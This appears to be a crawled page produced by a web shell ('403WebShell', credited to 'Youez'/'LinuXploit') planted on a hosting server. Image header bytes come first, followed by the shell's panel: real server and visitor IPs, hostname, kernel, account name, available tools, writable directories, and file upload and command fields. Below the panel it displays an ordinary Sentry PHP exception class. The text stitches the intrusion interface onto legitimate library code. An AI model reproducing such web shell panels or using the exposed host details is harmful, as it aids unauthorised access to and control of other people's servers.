����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.141.42.23
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/sentry/sentry/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/sentry/sentry/src/ExceptionDataBag.php
<?php

declare(strict_types=1);

namespace Sentry;

/**
 * This class represents the Exception Interface and contains the details of an
 * exception or error that occurred in the program.
 *
 * @author Stefano Arlandini <sarlandini@alice.it>
 */
final class ExceptionDataBag
{
    /**
     * @var class-string<\Throwable> The type of exception, e.g. RuntimeException
     */
    private $type;

    /**
     * @var string The value of the exception
     */
    private $value;

    /**
     * @var Stacktrace|null An optional stack trace object corresponding to the Stack Trace Interface
     */
    private $stacktrace;

    /**
     * @var ExceptionMechanism|null An optional object describing the mechanism that created this exception
     */
    private $mechanism;

    public function __construct(\Throwable $exception, ?Stacktrace $stacktrace = null, ?ExceptionMechanism $mechanism = null)
    {
        $this->type = \get_class($exception);
        $this->value = $exception->getMessage();
        $this->stacktrace = $stacktrace;
        $this->mechanism = $mechanism;
    }

    /**
     * Gets the type of exception, e.g. RuntimeException.
     *
     * @return class-string<\Throwable>
     */
    public function getType(): string
    {
        return $this->type;
    }

    /**
     * Gets the value of the exception.
     */
    public function getValue(): string
    {
        return $this->value;
    }

    /**
     * Sets the value of the exception.
     */
    public function setValue(string $value): void
    {
        $this->value = $value;
    }

    /**
     * Gets the stack trace object corresponding to the Stack Trace Interface.
     */
    public function getStacktrace(): ?Stacktrace
    {
        return $this->stacktrace;
    }

    /**
     * Sets the stack trace object corresponding to the Stack Trace Interface.
     *
     * @param Stacktrace $stacktrace The stacktrace
     */
    public function setStacktrace(Stacktrace $stacktrace): void
    {
        $this->stacktrace = $stacktrace;
    }

    /**
     * Gets the object describing the mechanism that created this exception.
     */
    public function getMechanism(): ?ExceptionMechanism
    {
        return $this->mechanism;
    }

    /**
     * Sets the object describing the mechanism that created this exception.
     *
     * @param ExceptionMechanism|null $mechanism The mechanism that created this exception
     */
    public function setMechanism(?ExceptionMechanism $mechanism): void
    {
        $this->mechanism = $mechanism;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit